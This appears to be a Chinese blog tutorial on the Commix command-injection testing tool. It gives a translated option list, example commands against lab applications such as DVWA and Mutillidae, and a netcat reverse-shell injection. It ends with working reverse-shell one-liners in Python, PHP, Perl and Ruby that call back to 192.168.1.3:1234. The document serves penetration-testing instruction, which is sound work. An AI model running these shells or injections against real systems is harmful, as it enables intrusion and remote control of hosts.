Commix命令详解

介绍

项目地址:https://github.com/stasinopoulos/commix

Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
选项:
-v           VERBOSE详细程度级别(0-1,默认值:0)。
--version       显示版本号并退出。
--output-dir=..   设置自定义输出目录路径。
-s SESSION_FILE   从存储(.sqlite)文件加载会话。
--flush-session   刷新当前目标的会话文件。
--ignore-session  忽略存储在会话文件中的结果。

目标:
-u URL,--url = URL  目标URL。
--url-reload      在命令执行后重新加载目标URL。
-l LOGFILE       解析来自HTTP代理日志文件的目标和数据。
--crawl = CRAWLDEPTH 从目标网址开始抓取网站(1-2,默认值:0)。

请求:
--data=DATA      要通过POST发送的数据字符串。
--host=HOST       HTTP主机头。
--referer=REFERER   HTTP Referer标头。
--user-agent=AGENT  HTTP用户代理头。
--random-agent    使用随机选择的HTTP User-Agent头。
--param-del=PDEL   设置分割参数值的字符。
--cookie=COOKIE    HTTP Cookie头。
--cookie-del=CDEL   设置分割cookie值的字符。
--headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
--proxy=PROXY     使用HTTP代理(例如“127.0.0.1:8080”)。
--tor          使用Tor网络。
--tor-port=...    设置Tor代理端口(默认值:8118)。
--auth-url=...    登录面板URL。
--auth-data =AUTH   登录参数和数据。
--auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。
--auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。
--ignore-401      忽略HTTP错误401(未授权)。
--force-ssl      强制使用SSL / HTTPS。

枚举:
这些选项可用于枚举目标主机。
--all            检索一切。
--current-user       检索当前用户名。
--hostname         检索当前主机名。
--is-root          检查当前用户是否具有root权限。
--is-admin         检查当前用户是否具有管理员权限。
--sys-info         检索系统信息。
--users           检索系统用户。
--passwords         检索系统用户密码散列。
--privileges        检索系统用户权限。
--ps-version        检索PowerShell的版本号。

文件访问:
这些选项可用于访问目标主机上的文件。
--file-read = FILE ..  从目标主机读取文件。
--file-write = FIL ..  写入目标主机上的文件。
--file-upload = FI ..  在目标主机上上传文件。
--file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。

模块:
这些选项可用于增加检测和/或注射能力。
--icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
--dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。
--shellshock“炮弹”注射模块。
注射:
这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
-p TEST_PARAMETER    可测试参数。
--suffix = SUFFIX    注入有效负载后缀字符串。
--prefix = PREFIX    注入有效负载前缀字符串。
--technique = TECH   指定要使用的进样技术。
--maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
--delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
--tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
--root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
--alter-shell = AL .. 使用另一个os-shell(例如'Python')。
--os-cmd = OS_CMD    执行单个操作系统命令。
--os = OS        将后端操作系统强制为此值。
--tamper = TAMPER   使用给定脚本篡改注射数据。

检测:
这些选项可用于自定义检测阶段。

--level = LEVEL  要执行的测试级别(1-3,默认值:1)。
--skip-calc    在检测期间跳过数学计算
--dependencies  检查第三方(非内核)依赖关系。
--skip-waf    绕过启发式检测WAF / IPS / IDS保护。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″


Freebuf给出的一些用法(http://www.freebuf.com/sectool/64030.html)

测试漏洞web应用Damn

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
使用注入攻击Payload参数测试php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"
使用特殊的头和HTTP代理测试OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"
使用ICMP渗漏(exfiltration)技术测试Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""


配合一些反弹shell

1. Python-reverse-shell:
  python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
2. PHP-reverse-shell:
  php -r ‘\$sock=fsockopen(\”192.168.1.3\”,1234);exec(\”/bin/sh -i <%263 >%263 2>%263\”);’
3. Perl-reverse-shell:
  perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’
4. Ruby-reverse-shell:
  ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,1234);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’